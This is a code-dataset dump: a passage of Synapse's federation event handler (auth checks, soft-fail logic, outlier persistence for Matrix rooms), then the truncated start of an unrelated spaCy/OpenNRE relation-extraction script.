Exception(\"Unable to get missing prev_event %s\" % (event_id,))\n\n # missing state at that event is a warning, not a blocker\n # XXX: this doesn't sound right? it means that we'll end up with incomplete\n # state.\n failed_to_fetch = desired_events - event_metadata.keys()\n # `event_id` could be missing from `event_metadata` because it's not necessarily\n # a state event. We've already checked that we've fetched it above.\n failed_to_fetch.discard(event_id)\n if failed_to_fetch:\n logger.warning(\n \"Failed to fetch missing state events for %s %s\",\n event_id,\n failed_to_fetch,\n )\n set_tag(\n SynapseTags.RESULT_PREFIX + \"failed_to_fetch\",\n str(failed_to_fetch),\n )\n set_tag(\n SynapseTags.RESULT_PREFIX + \"failed_to_fetch.length\",\n str(len(failed_to_fetch)),\n )\n\n if remote_event.is_state() and remote_event.rejected_reason is None:\n state_map[\n (remote_event.type, remote_event.state_key)\n ] = remote_event.event_id\n\n return state_map\n\n @trace\n @tag_args\n async def _get_state_and_persist(\n self, destination: str, room_id: str, event_id: str\n ) -> None:\n \"\"\"Get the complete room state at a given event, and persist any new events\n as outliers\"\"\"\n room_version = await self._store.get_room_version(room_id)\n auth_events, state_events = await self._federation_client.get_room_state(\n destination, room_id, event_id=event_id, room_version=room_version\n )\n logger.info(\"/state returned %i events\", len(auth_events) + len(state_events))\n\n await self._auth_and_persist_outliers(\n room_id, itertools.chain(auth_events, state_events)\n )\n\n # we also need the event itself.\n if not await self._store.have_seen_event(room_id, event_id):\n await self._get_events_and_persist(\n destination=destination, room_id=room_id, event_ids=(event_id,)\n )\n\n @trace\n async def _process_received_pdu(\n self,\n origin: str,\n event: EventBase,\n context: EventContext,\n backfilled: bool = False,\n ) -> None:\n \"\"\"Called when we have a new non-outlier event.\n\n This is called when we have a new event to add to the room DAG. This can be\n due to:\n * events received directly via a /send request\n * events retrieved via get_missing_events after a /send request\n * events backfilled after a client request.\n\n It's not currently used for events received from incoming send_{join,knock,leave}\n requests (which go via on_send_membership_event), nor for joins created by a\n remote join dance (which go via process_remote_join).\n\n We need to do auth checks and put it through the StateHandler.\n\n Args:\n origin: server sending the event\n\n event: event to be persisted\n\n context: The `EventContext` to persist the event with.\n\n backfilled: True if this is part of a historical batch of events (inhibits\n notification to clients, and validation of device keys.)\n\n PartialStateConflictError: if the room was un-partial stated in between\n computing the state at the event and persisting it. The caller should\n recompute `context` and retry exactly once when this happens.\n \"\"\"\n logger.debug(\"Processing event: %s\", event)\n assert not event.internal_metadata.outlier\n\n try:\n await self._check_event_auth(origin, event, context)\n except AuthError as e:\n # This happens only if we couldn't find the auth events. We'll already have\n # logged a warning, so now we just convert to a FederationError.\n raise FederationError(\"ERROR\", e.code, e.msg, affected=event.event_id)\n\n if not backfilled and not context.rejected:\n # For new (non-backfilled and non-outlier) events we check if the event\n # passes auth based on the current state. If it doesn't then we\n # \"soft-fail\" the event.\n await self._check_for_soft_fail(event, context=context, origin=origin)\n\n await self._run_push_actions_and_persist_event(event, context, backfilled)\n\n if backfilled or context.rejected:\n return\n\n await self._maybe_kick_guest_users(event)\n\n # For encrypted messages we check that we know about the sending device,\n # if we don't then we mark the device cache for that user as stale.\n if event.type == EventTypes.Encrypted:\n device_id = event.content.get(\"device_id\")\n sender_key = event.content.get(\"sender_key\")\n\n cached_devices = await self._store.get_cached_devices_for_user(event.sender)\n\n resync = False # Whether we should resync device lists.\n\n device = None\n if device_id is not None:\n device = cached_devices.get(device_id)\n if device is None:\n logger.info(\n \"Received event from remote device not in our cache: %s %s\",\n event.sender,\n device_id,\n )\n resync = True\n\n # We also check if the `sender_key` matches what we expect.\n if sender_key is not None:\n # Figure out what sender key we're expecting. If we know the\n # device and recognize the algorithm then we can work out the\n # exact key to expect. Otherwise check it matches any key we\n # have for that device.\n\n current_keys: Container[str] = []\n\n if device:\n keys = device.get(\"keys\", {}).get(\"keys\", {})\n\n if (\n event.content.get(\"algorithm\")\n == RoomEncryptionAlgorithms.MEGOLM_V1_AES_SHA2\n ):\n # For this algorithm we expect a curve25519 key.\n key_name = \"curve25519:%s\" % (device_id,)\n current_keys = [keys.get(key_name)]\n else:\n # We don't know understand the algorithm, so we just\n # check it matches a key for the device.\n current_keys = keys.values()\n elif device_id:\n # We don't have any keys for the device ID.\n pass\n else:\n # The event didn't include a device ID, so we just look for\n # keys across all devices.\n current_keys = [\n key\n for device in cached_devices.values()\n for key in device.get(\"keys\", {}).get(\"keys\", {}).values()\n ]\n\n # We now check that the sender key matches (one of) the expected\n # keys.\n if sender_key not in current_keys:\n logger.info(\n \"Received event from remote device with unexpected sender key: %s %s: %s\",\n event.sender,\n device_id or \"\",\n sender_key,\n )\n resync = True\n\n if resync:\n run_as_background_process(\n \"resync_device_due_to_pdu\",\n self._resync_device,\n event.sender,\n )\n\n async def _resync_device(self, sender: str) -> None:\n \"\"\"We have detected that the device list for the given user may be out\n of sync, so we try and resync them.\n \"\"\"\n\n try:\n await self._store.mark_remote_users_device_caches_as_stale((sender,))\n\n # Immediately attempt a resync in the background\n if self._config.worker.worker_app:\n await self._multi_user_device_resync(user_ids=[sender])\n else:\n await self._device_list_updater.multi_user_device_resync(\n user_ids=[sender]\n )\n except Exception:\n logger.exception(\"Failed to resync device for %s\", sender)\n\n async def backfill_event_id(\n self, destinations: StrCollection, room_id: str, event_id: str\n ) -> PulledPduInfo:\n \"\"\"Backfill a single event and persist it as a non-outlier which means\n we also pull in all of the state and auth events necessary for it.\n\n Args:\n destination: The homeserver to pull the given event_id from.\n room_id: The room where the event is from.\n event_id: The event ID to backfill.\n\n Raises:\n FederationError if we are unable to find the event from the destination\n \"\"\"\n logger.info(\"backfill_event_id: event_id=%s\", event_id)\n\n room_version = await self._store.get_room_version(room_id)\n\n pulled_pdu_info = await self._federation_client.get_pdu(\n destinations,\n event_id,\n room_version,\n )\n\n if not pulled_pdu_info:\n raise FederationError(\n \"ERROR\",\n 404,\n f\"Unable to find event_id={event_id} from remote servers to backfill.\",\n affected=event_id,\n )\n\n # Persist the event we just fetched, including pulling all of the state\n # and auth events to de-outlier it. This also sets up the necessary\n # `state_groups` for the event.\n await self._process_pulled_events(\n pulled_pdu_info.pull_origin,\n [pulled_pdu_info.pdu],\n # Prevent notifications going to clients\n backfilled=True,\n )\n\n return pulled_pdu_info\n\n @trace\n @tag_args\n async def _get_events_and_persist(\n self, destination: str, room_id: str, event_ids: StrCollection\n ) -> None:\n \"\"\"Fetch the given events from a server, and persist them as outliers.\n\n This function *does not* recursively get missing auth events of the\n newly fetched events. Callers must include in the `event_ids` argument\n any missing events from the auth chain.\n\n Logs a warning if we can't find the given event.\n \"\"\"\n\n room_version = await self._store.get_room_version(room_id)\n\n events: List[EventBase] = []\n\n async def get_event(event_id: str) -> None:\n with nested_logging_context(event_id):\n try:\n pulled_pdu_info = await self._federation_client.get_pdu(\n [destination],\n event_id,\n room_version,\n )\n if pulled_pdu_info is None:\n logger.warning(\n \"Server %s didn't return event %s\",\n destination,\n event_id,\n )\n return\n events.append(pulled_pdu_info.pdu)\n\n except Exception as e:\n logger.warning(\n \"Error fetching missing state/auth event %s: %s %s\",\n event_id,\n type(e),\n e,\n )\n\n await concurrently_execute(get_event, event_ids, 5)\n logger.info(\"Fetched %i events of %i requested\", len(events), len(event_ids))\n await self._auth_and_persist_outliers(room_id, events)\n\n @trace\n async def _auth_and_persist_outliers(\n self, room_id: str, events: Iterable[EventBase]\n ) -> None:\n \"\"\"Persist a batch of outlier events fetched from remote servers.\n\n We first sort the events to make sure that we process each event's auth_events\n before the event itself.\n\n We then mark the events as outliers, persist them to the database, and, where\n appropriate (eg, an invite), awake the notifier.\n\n Params:\n room_id: the room that the events are meant to be in (though this has\n not yet been checked)\n events: the events that have been fetched\n \"\"\"\n event_map = {event.event_id: event for event in events}\n\n event_ids = event_map.keys()\n set_tag(\n SynapseTags.FUNC_ARG_PREFIX + \"event_ids\",\n str(event_ids),\n )\n set_tag(\n SynapseTags.FUNC_ARG_PREFIX + \"event_ids.length\",\n str(len(event_ids)),\n )\n\n # filter out any events we have already seen. This might happen because\n # the events were eagerly pushed to us (eg, during a room join), or because\n # another thread has raced against us since we decided to request the event.\n #\n # This is just an optimisation, so it doesn't need to be watertight - the event\n # persister does another round of deduplication.\n seen_remotes = await self._store.have_seen_events(room_id, event_map.keys())\n for s in seen_remotes:\n event_map.pop(s, None)\n\n # XXX: it might be possible to kick this process off in parallel with fetching\n # the events.\n\n # We need to persist an event's auth events before the event.\n auth_graph = {\n ev: [event_map[e_id] for e_id in ev.auth_event_ids() if e_id in event_map]\n for ev in event_map.values()\n }\n for roots in sorted_topologically_batched(event_map.values(), auth_graph):\n if not roots:\n # if *none* of the remaining events are ready, that means\n # we have a loop. This either means a bug in our logic, or that\n # somebody has managed to create a loop (which requires finding a\n # hash collision in room v2 and later).\n logger.warning(\n \"Loop found in auth events while fetching missing state/auth \"\n \"events: %s\",\n shortstr(event_map.keys()),\n )\n return\n\n logger.info(\n \"Persisting %i of %i remaining outliers: %s\",\n len(roots),\n len(event_map),\n shortstr(e.event_id for e in roots),\n )\n\n await self._auth_and_persist_outliers_inner(room_id, roots)\n\n async def _auth_and_persist_outliers_inner(\n self, room_id: str, fetched_events: Collection[EventBase]\n ) -> None:\n \"\"\"Helper for _auth_and_persist_outliers\n\n Persists a batch of events where we have (theoretically) already persisted all\n of their auth events.\n\n Marks the events as outliers, auths them, persists them to the database, and,\n where appropriate (eg, an invite), awakes the notifier.\n\n Params:\n origin: where the events came from\n room_id: the room that the events are meant to be in (though this has\n not yet been checked)\n fetched_events: the events to persist\n \"\"\"\n # get all the auth events for all the events in this batch. By now, they should\n # have been persisted.\n auth_events = {\n aid for event in fetched_events for aid in event.auth_event_ids()\n }\n persisted_events = await self._store.get_events(\n auth_events,\n allow_rejected=True,\n )\n\n events_and_contexts_to_persist: List[Tuple[EventBase, EventContext]] = []\n\n async def prep(event: EventBase) -> None:\n with nested_logging_context(suffix=event.event_id):\n auth = []\n for auth_event_id in event.auth_event_ids():\n ae = persisted_events.get(auth_event_id)\n if not ae:\n # the fact we can't find the auth event doesn't mean it doesn't\n # exist, which means it is premature to reject `event`. Instead we\n # just ignore it for now.\n logger.warning(\n \"Dropping event %s, which relies on auth_event %s, which could not be found\",\n event,\n auth_event_id,\n )\n return\n auth.append(ae)\n\n # we're not bothering about room state, so flag the event as an outlier.\n event.internal_metadata.outlier = True\n\n context = EventContext.for_outlier(self._storage_controllers)\n try:\n validate_event_for_room_version(event)\n await check_state_independent_auth_rules(self._store, event)\n check_state_dependent_auth_rules(event, auth)\n except AuthError as e:\n logger.warning(\"Rejecting %r because %s\", event, e)\n context.rejected = RejectedReason.AUTH_ERROR\n except EventSizeError as e:\n if e.unpersistable:\n # This event is completely unpersistable.\n raise e\n # Otherwise, we are somewhat lenient and just persist the event\n # as rejected, for moderate compatibility with older Synapse\n # versions.\n logger.warning(\"While validating received event %r: %s\", event, e)\n context.rejected = RejectedReason.OVERSIZED_EVENT\n\n events_and_contexts_to_persist.append((event, context))\n\n for event in fetched_events:\n await prep(event)\n\n await self.persist_events_and_notify(\n room_id,\n events_and_contexts_to_persist,\n # Mark these events backfilled as they're historic events that will\n # eventually be backfilled. For example, missing events we fetch\n # during backfill should be marked as backfilled as well.\n backfilled=True,\n )\n\n @trace\n async def _check_event_auth(\n self, origin: Optional[str], event: EventBase, context: EventContext\n ) -> None:\n \"\"\"\n Checks whether an event should be rejected (for failing auth checks).\n\n Args:\n origin: The host the event originates from. This is used to fetch\n any missing auth events. It can be set to None, but only if we are\n sure that we already have all the auth events.\n event: The event itself.\n context:\n The event context.\n\n Raises:\n AuthError if we were unable to find copies of the event's auth events.\n (Most other failures just cause us to set `context.rejected`.)\n \"\"\"\n # This method should only be used for non-outliers\n assert not event.internal_metadata.outlier\n\n # first of all, check that the event itself is valid.\n try:\n validate_event_for_room_version(event)\n except AuthError as e:\n logger.warning(\"While validating received event %r: %s\", event, e)\n # TODO: use a different rejected reason here?\n context.rejected = RejectedReason.AUTH_ERROR\n return\n except EventSizeError as e:\n if e.unpersistable:\n # This event is completely unpersistable.\n raise e\n # Otherwise, we are somewhat lenient and just persist the event\n # as rejected, for moderate compatibility with older Synapse\n # versions.\n logger.warning(\"While validating received event %r: %s\", event, e)\n context.rejected = RejectedReason.OVERSIZED_EVENT\n return\n\n # next, check that we have all of the event's auth events.\n #\n # Note that this can raise AuthError, which we want to propagate to the\n # caller rather than swallow with `context.rejected` (since we cannot be\n # certain that there is a permanent problem with the event).\n claimed_auth_events = await self._load_or_fetch_auth_events_for_event(\n origin, event\n )\n set_tag(\n SynapseTags.RESULT_PREFIX + \"claimed_auth_events\",\n str([ev.event_id for ev in claimed_auth_events]),\n )\n set_tag(\n SynapseTags.RESULT_PREFIX + \"claimed_auth_events.length\",\n str(len(claimed_auth_events)),\n )\n\n # ... and check that the event passes auth at those auth events.\n # https://spec.matrix.org/v1.3/server-server-api/#checks-performed-on-receipt-of-a-pdu:\n # 4. Passes authorization rules based on the event’s auth events,\n # otherwise it is rejected.\n try:\n await check_state_independent_auth_rules(self._store, event)\n check_state_dependent_auth_rules(event, claimed_auth_events)\n except AuthError as e:\n logger.warning(\n \"While checking auth of %r against auth_events: %s\", event, e\n )\n context.rejected = RejectedReason.AUTH_ERROR\n return\n\n # now check the auth rules pass against the room state before the event\n # https://spec.matrix.org/v1.3/server-server-api/#checks-performed-on-receipt-of-a-pdu:\n # 5. Passes authorization rules based on the state before the event,\n # otherwise it is rejected.\n #\n # ... however, if we only have partial state for the room, then there is a good\n # chance that we'll be missing some of the state needed to auth the new event.\n # So, we state-resolve the auth events that we are given against the state that\n # we know about, which ensures things like bans are applied. (Note that we'll\n # already have checked we have all the auth events, in\n # _load_or_fetch_auth_events_for_event above)\n if context.partial_state:\n room_version = await self._store.get_room_version_id(event.room_id)\n\n local_state_id_map = await context.get_prev_state_ids()\n claimed_auth_events_id_map = {\n (ev.type, ev.state_key): ev.event_id for ev in claimed_auth_events\n }\n\n state_for_auth_id_map = (\n await self._state_resolution_handler.resolve_events_with_store(\n event.room_id,\n room_version,\n [local_state_id_map, claimed_auth_events_id_map],\n event_map=None,\n state_res_store=StateResolutionStore(self._store),\n )\n )\n else:\n event_types = event_auth.auth_types_for_event(event.room_version, event)\n state_for_auth_id_map = await context.get_prev_state_ids(\n StateFilter.from_types(event_types)\n )\n\n calculated_auth_event_ids = self._event_auth_handler.compute_auth_events(\n event, state_for_auth_id_map, for_verification=True\n )\n\n # if those are the same, we're done here.\n if collections.Counter(event.auth_event_ids()) == collections.Counter(\n calculated_auth_event_ids\n ):\n return\n\n # otherwise, re-run the auth checks based on what we calculated.\n calculated_auth_events = await self._store.get_events_as_list(\n calculated_auth_event_ids\n )\n\n # log the differences\n\n claimed_auth_event_map = {(e.type, e.state_key): e for e in claimed_auth_events}\n calculated_auth_event_map = {\n (e.type, e.state_key): e for e in calculated_auth_events\n }\n logger.info(\n \"event's auth_events are different to our calculated auth_events. \"\n \"Claimed but not calculated: %s. Calculated but not claimed: %s\",\n [\n ev\n for k, ev in claimed_auth_event_map.items()\n if k not in calculated_auth_event_map\n or calculated_auth_event_map[k].event_id != ev.event_id\n ],\n [\n ev\n for k, ev in calculated_auth_event_map.items()\n if k not in claimed_auth_event_map\n or claimed_auth_event_map[k].event_id != ev.event_id\n ],\n )\n\n try:\n check_state_dependent_auth_rules(event, calculated_auth_events)\n except AuthError as e:\n logger.warning(\n \"While checking auth of %r against room state before the event: %s\",\n event,\n e,\n )\n context.rejected = RejectedReason.AUTH_ERROR\n\n @trace\n async def _maybe_kick_guest_users(self, event: EventBase) -> None:\n if event.type != EventTypes.GuestAccess:\n return\n\n guest_access = event.content.get(EventContentFields.GUEST_ACCESS)\n if guest_access == GuestAccess.CAN_JOIN:\n return\n\n current_state = await self._storage_controllers.state.get_current_state(\n event.room_id\n )\n current_state_list = list(current_state.values())\n await self._get_room_member_handler().kick_guest_users(current_state_list)\n\n async def _check_for_soft_fail(\n self,\n event: EventBase,\n context: EventContext,\n origin: str,\n ) -> None:\n \"\"\"Checks if we should soft fail the event; if so, marks the event as\n such.\n\n Does nothing for events in rooms with partial state, since we may not have an\n accurate membership event for the sender in the current state.\n\n Args:\n event\n context: The `EventContext` which we are about to persist the event with.\n origin: The host the event originates from.\n \"\"\"\n if await self._store.is_partial_state_room(event.room_id):\n # We might not know the sender's membership in the current state, so don't\n # soft fail anything. Even if we do have a membership for the sender in the\n # current state, it may have been derived from state resolution between\n # partial and full state and may not be accurate.\n return\n\n extrem_ids = await self._store.get_latest_event_ids_in_room(event.room_id)\n prev_event_ids = set(event.prev_event_ids())\n\n if extrem_ids == prev_event_ids:\n # If they're the same then the current state is the same as the\n # state at the event, so no point rechecking auth for soft fail.\n return\n\n room_version = await self._store.get_room_version_id(event.room_id)\n room_version_obj = KNOWN_ROOM_VERSIONS[room_version]\n\n # The event types we want to pull from the \"current\" state.\n auth_types = auth_types_for_event(room_version_obj, event)\n\n # Calculate the \"current state\".\n seen_event_ids = await self._store.have_events_in_timeline(prev_event_ids)\n has_missing_prevs = bool(prev_event_ids - seen_event_ids)\n if has_missing_prevs:\n # We don't have all the prev_events of this event, which means we have a\n # gap in the graph, and the new event is going to become a new backwards\n # extremity.\n #\n # In this case we want to be a little careful as we might have been\n # down for a while and have an incorrect view of the current state,\n # however we still want to do checks as gaps are easy to\n # maliciously manufacture.\n #\n # So we use a \"current state\" that is actually a state\n # resolution across the current forward extremities and the\n # given state at the event. This should correctly handle cases\n # like bans, especially with state res v2.\n\n state_sets_d = await self._state_storage_controller.get_state_groups_ids(\n event.room_id, extrem_ids\n )\n state_sets: List[StateMap[str]] = list(state_sets_d.values())\n state_ids = await context.get_prev_state_ids()\n state_sets.append(state_ids)\n current_state_ids = (\n await self._state_resolution_handler.resolve_events_with_store(\n event.room_id,\n room_version,\n state_sets,\n event_map=None,\n state_res_store=StateResolutionStore(self._store),\n )\n )\n else:\n current_state_ids = (\n await self._state_storage_controller.get_current_state_ids(\n event.room_id, StateFilter.from_types(auth_types)\n )\n )\n\n logger.debug(\n \"Doing soft-fail check for %s: state %s\",\n event.event_id,\n current_state_ids,\n )\n\n # Now check if event pass auth against said current state\n current_state_ids_list = [\n e for k, e in current_state_ids.items() if k in auth_types\n ]\n current_auth_events = await self._store.get_events_as_list(\n current_state_ids_list\n )\n\n try:\n check_state_dependent_auth_rules(event, current_auth_events)\n except AuthError as e:\n logger.warning(\n \"Soft-failing %r (from %s) because %s\",\n event,\n e,\n origin,\n extra={\n \"room_id\": event.room_id,\n \"mxid\": event.sender,\n \"hs\": origin,\n },\n )\n soft_failed_event_counter.inc()\n event.internal_metadata.soft_failed = True\n\n async def _load_or_fetch_auth_events_for_event(\n self, destination: Optional[str], event: EventBase\n ) -> Collection[EventBase]:\n \"\"\"Fetch this event's auth_events, from database or remote\n\n Loads any of the auth_events that we already have from the database/cache. If\n there are any that are missing, calls /event_auth to get the complete auth\n chain for the event (and then attempts to load the auth_events again).\n\n If any of the auth_events cannot be found, raises an AuthError. This can happen\n for a number of reasons; eg: the events don't exist, or we were unable to talk\n to `destination`, or we couldn't validate the signature on the event (which\n in turn has multiple potential causes).\n\n Args:\n destination: where to send the /event_auth request. Typically the server\n that sent us `event` in the first place.\n\n If this is None, no attempt is made to load any missing auth events:\n rather, an AssertionError is raised if there are any missing events.\n\n event: the event whose auth_events we want\n\n Returns:\n all of the events listed in `event.auth_events_ids`, after deduplication\n\n Raises:\n AssertionError if some auth events were missing and no `destination` was\n supplied.\n\n AuthError if we were unable to fetch the auth_events for any reason.\n \"\"\"\n event_auth_event_ids = set(event.auth_event_ids())\n event_auth_events = await self._store.get_events(\n event_auth_event_ids, allow_rejected=True\n )\n missing_auth_event_ids = event_auth_event_ids.difference(\n event_auth_events.keys()\n )\n if not missing_auth_event_ids:\n return event_auth_events.values()\n if destination is None:\n # this shouldn't happen: destination must be set unless we know we have already\n # persisted the auth events.\n raise AssertionError(\n \"_load_or_fetch_auth_events_for_event() called with no destination for \"\n \"an event with missing auth_events\"\n )\n\n logger.info(\n \"Event %s refers to unknown auth events %s: fetching auth chain\",\n event,\n missing_auth_event_ids,\n )\n try:\n await self._get_remote_auth_chain_for_event(\n destination, event.room_id, event.event_id\n )\n except Exception as e:\n logger.warning(\"Failed to get auth chain for %s: %s\", event, e)\n # in this case, it's very likely we still won't have all the auth\n # events - but we pick that up below.\n\n # try to fetch the auth events we missed list time.\n extra_auth_events = await self._store.get_events(\n missing_auth_event_ids, allow_rejected=True\n )\n missing_auth_event_ids.difference_update(extra_auth_events.keys())\n event_auth_events.update(extra_auth_events)\n if not missing_auth_event_ids:\n return event_auth_events.values()\n\n # we still don't have all the auth events.\n logger.warning(\n \"Missing auth events for %s: %s\",\n event,\n shortstr(missing_auth_event_ids),\n )\n # the fact we can't find the auth event doesn't mean it doesn't\n # exist, which means it is premature to store `event` as rejected.\n # instead we raise an AuthError, which will make the caller ignore it.\n raise AuthError(code=HTTPStatus.FORBIDDEN, msg=\"Auth events could not be found\")\n\n @trace\n @tag_args\n async def _get_remote_auth_chain_for_event(\n self, destination: str, room_id: str, event_id: str\n ) -> None:\n \"\"\"If we are missing some of an event's auth events, attempt to request them\n\n Args:\n destination: where to fetch the auth tree from\n room_id: the room in which we are lacking auth events\n event_id: the event for which we are lacking auth events\n \"\"\"\n try:\n remote_events = await self._federation_client.get_event_auth(\n destination, room_id, event_id\n )\n\n except RequestSendFailed as e1:\n # The other side isn't around or doesn't implement the\n # endpoint, so lets just bail out.\n logger.info(\"Failed to get event auth from remote: %s\", e1)\n return\n\n logger.info(\"/event_auth returned %i events\", len(remote_events))\n\n # `event` may be returned, but we should not yet process it.\n remote_auth_events = (e for e in remote_events if e.event_id != event_id)\n\n await self._auth_and_persist_outliers(room_id, remote_auth_events)\n\n @trace\n async def _run_push_actions_and_persist_event(\n self, event: EventBase, context: EventContext, backfilled: bool = False\n ) -> None:\n \"\"\"Run the push actions for a received event, and persist it.\n\n Args:\n event: The event itself.\n context: The event context.\n backfilled: True if the event was backfilled.\n\n PartialStateConflictError: if attempting to persist a partial state event in\n a room that has been un-partial stated.\n \"\"\"\n # this method should not be called on outliers (those code paths call\n # persist_events_and_notify directly.)\n assert not event.internal_metadata.outlier\n\n if not backfilled and not context.rejected:\n min_depth = await self._store.get_min_depth(event.room_id)\n if min_depth is None or min_depth > event.depth:\n # XXX richvdh 2021/10/07: I don't really understand what this\n # condition is doing. I think it's trying not to send pushes\n # for events that predate our join - but that's not really what\n # min_depth means, and anyway ancient events are a more general\n # problem.\n #\n # for now I'm just going to log about it.\n logger.info(\n \"Skipping push actions for old event with depth %s < %s\",\n event.depth,\n min_depth,\n )\n else:\n await self._bulk_push_rule_evaluator.action_for_events_by_user(\n [(event, context)]\n )\n\n try:\n await self.persist_events_and_notify(\n event.room_id, [(event, context)], backfilled=backfilled\n )\n except Exception:\n await self._store.remove_push_actions_from_staging(event.event_id)\n raise\n\n async def persist_events_and_notify(\n self,\n room_id: str,\n event_and_contexts: Sequence[Tuple[EventBase, EventContext]],\n backfilled: bool = False,\n ) -> int:\n \"\"\"Persists events and tells the notifier/pushers about them, if\n necessary.\n\n Args:\n room_id: The room ID of events being persisted.\n event_and_contexts: Sequence of events with their associated\n context that should be persisted. All events must belong to\n the same room.\n backfilled: Whether these events are a result of\n backfilling or not\n\n Returns:\n The stream ID after which all events have been persisted.\n\n Raises:\n PartialStateConflictError: if attempting to persist a partial state event in\n a room that has been un-partial stated.\n \"\"\"\n if not event_and_contexts:\n return self._store.get_room_max_stream_ordering()\n\n instance = self._config.worker.events_shard_config.get_instance(room_id)\n if instance != self._instance_name:\n # Limit the number of events sent over replication. We choose 200\n # here as that is what we default to in `max_request_body_size(..)`\n result = {}\n try:\n for batch in batch_iter(event_and_contexts, 200):\n result = await self._send_events(\n instance_name=instance,\n store=self._store,\n room_id=room_id,\n event_and_contexts=batch,\n backfilled=backfilled,\n )\n except SynapseError as e:\n if e.code == HTTPStatus.CONFLICT:\n raise PartialStateConflictError()\n raise\n return result[\"max_stream_id\"]\n else:\n assert self._storage_controllers.persistence\n\n # Note that this returns the events that were persisted, which may not be\n # the same as were passed in if some were deduplicated due to transaction IDs.\n (\n events,\n max_stream_token,\n ) = await self._storage_controllers.persistence.persist_events(\n event_and_contexts, backfilled=backfilled\n )\n\n # After persistence we always need to notify replication there may\n # be new data.\n self._notifier.notify_replication()\n\n if self._ephemeral_messages_enabled:\n for event in events:\n # If there's an expiry timestamp on the event, schedule its expiry.\n self._message_handler.maybe_schedule_expiry(event)\n\n if not backfilled: # Never notify for backfilled events\n with start_active_span(\"notify_persisted_events\"):\n set_tag(\n SynapseTags.RESULT_PREFIX + \"event_ids\",\n str([ev.event_id for ev in events]),\n )\n set_tag(\n SynapseTags.RESULT_PREFIX + \"event_ids.length\",\n str(len(events)),\n )\n for event in events:\n await self._notify_persisted_event(event, max_stream_token)\n\n return max_stream_token.stream\n\n async def _notify_persisted_event(\n self, event: EventBase, max_stream_token: RoomStreamToken\n ) -> None:\n \"\"\"Checks to see if notifier/pushers should be notified about the\n event or not.\n\n Args:\n event:\n max_stream_token: The max_stream_id returned by persist_events\n \"\"\"\n\n extra_users = []\n if event.type == EventTypes.Member:\n target_user_id = event.state_key\n\n # We notify for memberships if its an invite for one of our\n # users\n if event.internal_metadata.is_outlier():\n if event.membership != Membership.INVITE:\n if not self._is_mine_id(target_user_id):\n return\n\n target_user = UserID.from_string(target_user_id)\n extra_users.append(target_user)\n elif event.internal_metadata.is_outlier():\n return\n\n # the event has been persisted so it should have a stream ordering.\n assert event.internal_metadata.stream_ordering\n\n event_pos = PersistedEventPosition(\n self._instance_name, event.internal_metadata.stream_ordering\n )\n await self._notifier.on_new_room_events(\n [(event, event_pos)], max_stream_token, extra_users=extra_users\n )\n\n if event.type == EventTypes.Member and event.membership == Membership.JOIN:\n # TODO retrieve the previous state, and exclude join -> join transitions\n self._notifier.notify_user_joined_room(event.event_id, event.room_id)\n\n # If this is a server ACL event, clear the cache in the storage controller.\n if event.type == EventTypes.ServerACL:\n self._state_storage_controller.get_server_acl_for_room.invalidate(\n (event.room_id,)\n )\n\n def _sanity_check_event(self, ev: EventBase) -> None:\n \"\"\"\n Do some early sanity checks of a received event\n\n In particular, checks it doesn't have an excessive number of\n prev_events or auth_events, which could cause a huge state resolution\n or cascade of event fetches.\n\n Args:\n ev: event to be checked\n\n Raises:\n SynapseError if the event does not pass muster\n \"\"\"\n if len(ev.prev_event_ids()) > 20:\n logger.warning(\n \"Rejecting event %s which has %i prev_events\",\n ev.event_id,\n len(ev.prev_event_ids()),\n )\n raise SynapseError(HTTPStatus.BAD_REQUEST, \"Too many prev_events\")\n\n if len(ev.auth_event_ids()) > 10:\n logger.warning(\n \"Rejecting event %s which has %i auth_events\",\n ev.event_id,\n len(ev.auth_event_ids()),\n )\n raise SynapseError(HTTPStatus.BAD_REQUEST, \"Too many auth_events\")\n","repo_name":"matrix-org/synapse","sub_path":"synapse/handlers/federation_event.py","file_name":"federation_event.py","file_ext":"py","file_size_in_byte":98065,"program_lang":"python","lang":"en","doc_type":"code","stars":11638,"dataset":"github-code","pt":"23"} +{"seq_id":"69917734781","text":"import sys, json\nimport jsons\nimport os\nimport spacy\nimport nltk\nimport opennre\nimport torch\n\nfrom opennre import encoder, model, framework\nfrom nltk.corpus import wordnet\nfrom util import loadFile\nfrom node import Node, Edge\nfrom template import Buy, Work, Part, Output, Extraction\n\ndef getModel():\n rel2id = json.load(open('../data/dataset/wiki80/wiki80_rel2id.json'))\n sentence_encoder = encoder.BERTEncoder(max_length=88, pretrain_path='../data/pretrain/bert-base-uncased')\n m = model.SoftmaxNN(sentence_encoder, len(rel2id), rel2id)\n m.load_state_dict(torch.load('ckpt/wiki80_bert_softmax.pth.tar', map_location='cpu')['state_dict'])\n return m\n\ndef nre(text, head, tail):\n model = opennre.get_model('wiki80_bert_softmax')\n #model = getModel()\n\n hStart = text.find(head)\n hEnd = hStart + len(head)\n\n tStart = text.find(tail)\n tEnd = tStart + len(tail)\n\n relation = model.infer({'text': text, 'h': {'pos': (hStart, hEnd)}, 't': {'pos': (tStart, tEnd)}})\n print(relation)\n return relation\n\ndef printParseTree(doc):\n for token in doc:\n print(token.text, token.dep_, token.head.text, token.head.pos_,\n [child for child in token.children])\n\ndef wordNet(word):\n # nltk.download('wordnet') # Installs WordNet to /Users/{user}/nltk_data\n\n for synset in wordnet.synsets(word):\n print('Hypernyms of',word)\n print(synset.hypernyms())\n\n print('Hyponyms of',word)\n print(synset.hyponyms())\n\n print('Meronyms of',word)\n print(synset.part_meronyms())\n print(synset.substance_meronyms())\n\n print('Holonyms of',word)\n print(synset.part_holonyms())\n print(synset.substance_holonyms())\n\n\ndef task1(text):\n # Load English tokenizer, tagger, parser, NER and word vectors\n nlp = spacy.load(\"en_core_web_sm\")\n doc = nlp(text)\n\n print(\"Sentences:\", [sent.text for sent in doc.sents])\n print(\"Tokens:\", [token.text for token in doc])\n print(\"Lemmas:\", [token.lemma_ for token in doc])\n print(\"POS:\", [token.pos_ for token in doc])\n print(\"Tags:\", [token.tag_ for token in doc])\n print(\"Noun phrases:\", [chunk.text for chunk in doc.noun_chunks])\n print(\"Verbs:\", [token.lemma_ for token in doc if token.pos_ == \"VERB\"])\n print(\"Named Entities:\", [ent.text for ent in doc.ents])\n\n # Named entities and their type\n for entity in doc.ents:\n print(entity.text, entity.label_)\n\n # Using wordNet to extract Hypernyms, Hyponyms, etc\n for token in doc:\n wordNet(token.text)\n\n # Parse Tree\n printParseTree(doc)\n\ndef bron_kerbosch(nodesList):\n cliques = []\n\n def clique_weight(clique=[]):\n product = 1\n edges = 0\n\n for node in clique:\n for edge in node.weightedEdges:\n product = product * edge.weight\n edges = 